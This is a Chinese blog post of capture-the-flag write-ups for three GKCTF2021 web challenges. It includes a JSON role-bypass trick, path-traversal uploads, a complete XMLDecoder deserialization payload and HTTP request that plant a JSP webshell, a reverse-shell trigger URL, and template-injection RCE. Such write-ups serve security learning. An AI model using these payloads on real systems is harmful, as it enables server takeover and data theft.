GKCTF2021

/ 1评 / 0

BabyCat

主页有个register和login。看JS。构造

/login data={"username":"test","password":"test"}

不能登陆。用同样的参数去register。可以注册用户。

然后登陆 登陆后有个download接口。

可以任意文件读取

读到

image-20210626180253103

register的doPost方法里。有个正则。匹配"role":"(.*?)"。如果匹配到了。就替换为"role":"guest"。

而json有个特性"a":"1","a":"2"。后面的值会覆盖前面的值。所以第一个值让他替换为guest。然后第二个值"role"/**/:"admin"。覆盖前面的值过掉正则

变成admin后文件上传,发现可以目录穿越,Static界面可以访问,且出题人黑名单判断没生效。直接传一句话

image-20210626180506781

babycat-revenge

前面注册、任意文件读的步骤和前一题一样,就不赘述了

在baseDao看到了xmlDecode既然不能正常写jsp了就只能反序列化

image-20210626164217640

参考:

https://www.cnblogs.com/hetianlab/p/13534535.html

本来打算构造类似下文的东西,发现内容被黑名单了

文件名黑名单:String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};

内容黑名单:String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};

<java version="1.7.0_80" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

Runtime和Process没了本来打算直接构造javax.script.ScriptEngineManager

奈何因为需要调用getEngineByName,构造链子有点不太会,xmlEncode.writeObject也一直抛异常写不出ScriptEngineManager。

根据提示的PrintWriter?

PrintWriter好像是java.io.PrintWriter

然后去搜了搜weblogic的xmldecode,发现了个文章可以参考

https://www.cnblogs.com/peterpan0707007/p/10565968.html

如图:

image-20210626165150799

只需要中间的那一部分,注意因为Runtime和Process没了就写js引擎(或者由于字符串好绕过内容检测反射构造其他的也行)。

写个xml

<java version="1.8.0_192" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
        <string>/usr/local/tomcat/webapps/ROOT/static/ha1.jsp</string><void method="println">
        <string><![CDATA[`<% javax.script.ScriptEngineManager sem = new javax.script.ScriptEngineManager();
javax.script.ScriptEngine engine = sem.getEngineByName("nashorn");
    System.out.println(engine.eval(request.getParameter("ha1"))); %>`
]]></string></void><void method="close"/>
    </object>
</java>

image-20210626174955178

可以读到绝对路径

POST /home/upload HTTP/1.1
Host: 5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn
Content-Length: 704
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8iSbAeqCQHarTgI1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/home/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=1799c6cf0666fc-061573093b8fbb-37607201-c0000-1799c6cf067aaa; JSESSIONID=DC9603067E1DEF7950F283372D58A014
Connection: close
------WebKitFormBoundary8iSbAeqCQHarTgI1
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: text/x-python-script
<java version="1.8.0_192" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
        <string>/usr/local/tomcat/webapps/ROOT/static/ha1.jsp</string><void method="println">
        <string><![CDATA[`<% javax.script.ScriptEngineManager sem = new javax.script.ScriptEngineManager();
javax.script.ScriptEngine engine = sem.getEngineByName("nashorn");
    System.out.println(engine.eval(request.getParameter("ha1"))); %>`
]]></string></void><void method="close"/>
    </object>
</java>
------WebKitFormBoundary8iSbAeqCQHarTgI1--

覆盖成功,然后找下怎么触发baseDao这个类的静态代码块,想法就是找Dao层的东西就写了

LoginServlet里有

image-20210626165808494

Register自然也有

image-20210626165903994

为了方便重新登录一下就行了。

访问jsp

<a href="http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp">http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp</a>

本来想/readflag执行,发现没直接的回显,发现少写了几句。

构造个反弹shell的,url编码一下

image-20210626170514474

触发

<a href="http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp?ha1=java.lang.Runtime.getRuntime().exec(&quot;反弹shell&quot">http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp?ha1=java.lang.Runtime.getRuntime().exec("反弹shell&quot</a>;);

image-20210626170408292

easycms

后台 demo/demo登录或者admin/12345登录。审计发现可以通过模板注入rce

image-20210626175533814

但是需要在system的tmp目录下有某个txt才会生效,继续审计,发现

image-20210626175610224

此处可以直接上传txt,且文件名不变,所以只需要解决目录穿越的问题就可以了。测试发现这里直接../../system/tmp/文件名即可rce

image-20210626175745941

image-20210626175826826然后就rce了

image-20210626175912143

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注